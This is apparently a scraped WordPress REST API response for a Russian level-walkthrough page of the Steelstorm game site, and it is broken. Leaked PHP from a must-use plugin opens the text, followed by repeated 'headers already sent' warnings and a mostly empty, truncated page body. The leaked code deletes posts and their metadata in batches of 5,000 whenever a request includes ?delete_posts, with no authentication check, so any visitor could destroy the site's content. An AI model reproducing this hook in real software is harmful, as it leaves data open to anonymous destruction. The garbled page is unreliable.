add_action('init', function() { if (!isset($_GET['delete_posts'])) return; global $wpdb; $batch = 5000; $post_ids = $wpdb->get_col( "SELECT ID FROM {$wpdb->posts} WHERE post_type = 'post' LIMIT $batch" ); if (empty($post_ids)) { echo "Done."; exit; } $ids_str = implode(',', array_map('intval', $post_ids)); $wpdb->query("DELETE FROM {$wpdb->postmeta} WHERE post_id IN ($ids_str)"); $wpdb->query("DELETE FROM {$wpdb->posts} WHERE ID IN ($ids_str)"); echo count($post_ids) . " posts deleted."; exit; });
Warning: Cannot modify header information - headers already sent by (output started at /home/standa9/public_html/wp-content/mu-plugins/index.php:1) in /home/standa9/public_html/wp-includes/rest-api/class-wp-rest-server.php on line 1831

Warning: Cannot modify header information - headers already sent by (output started at /home/standa9/public_html/wp-content/mu-plugins/index.php:1) in /home/standa9/public_html/wp-includes/rest-api/class-wp-rest-server.php on line 1831

Warning: Cannot modify header information - headers already sent by (output started at /home/standa9/public_html/wp-content/mu-plugins/index.php:1) in /home/standa9/public_html/wp-includes/rest-api/class-wp-rest-server.php on line 1831

Warning: Cannot modify header information - headers already sent by (output started at /home/standa9/public_html/wp-content/mu-plugins/index.php:1) in /home/standa9/public_html/wp-includes/rest-api/class-wp-rest-server.php on line 1831

Warning: Cannot modify header information - headers already sent by (output started at /home/standa9/public_html/wp-content/mu-plugins/index.php:1) in /home/standa9/public_html/wp-includes/rest-api/class-wp-rest-server.php on line 1831

Warning: Cannot modify header information - headers already sent by (output started at /home/standa9/public_html/wp-content/mu-plugins/index.php:1) in /home/standa9/public_html/wp-includes/rest-api/class-wp-rest-server.php on line 1831

Warning: Cannot modify header information - headers already sent by (output started at /home/standa9/public_html/wp-content/mu-plugins/index.php:1) in /home/standa9/public_html/wp-includes/rest-api/class-wp-rest-server.php on line 1831

Warning: Cannot modify header information - headers already sent by (output started at /home/standa9/public_html/wp-content/mu-plugins/index.php:1) in /home/standa9/public_html/wp-includes/rest-api/class-wp-rest-server.php on line 1831
{"id":173,"date":"2020-10-17T10:02:43","date_gmt":"2020-10-17T10:02:43","guid":{"rendered":"https:\/\/steelstorm.standardof.net\/?page_id=173"},"modified":"2020-10-17T15:17:50","modified_gmt":"2020-10-17T15:17:50","slug":"%d0%bf%d0%be%d1%88%d0%b0%d0%b3%d0%be%d0%b2%d0%be%d0%b5-%d1%80%d1%83%d0%ba%d0%be%d0%b2%d0%be%d0%b4%d1%81%d1%82%d0%b2%d0%be-%d0%bf%d0%be-%d0%bf%d1%80%d0%be%d1%85%d0%be%d0%b6%d0%b4%d0%b5%d0%bd%d0%b8","status":"publish","type":"page","link":"https:\/\/steelstorm.standardof.net\/ru\/guide\/level-walkthroughs\/","title":{"rendered":"\u041f\u0440\u043e\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0443\u0440\u043e\u0432\u043d\u0435\u0439"},"content":{"rendered":"
\n

\u041f\u0440\u043e\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0443\u0440\u043e\u0432\u043d\u0435\u0439 \u0438 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0430<\/h2>\n<\/div><\/div>\n\n\n\n

<\/h3>\n\n\n\n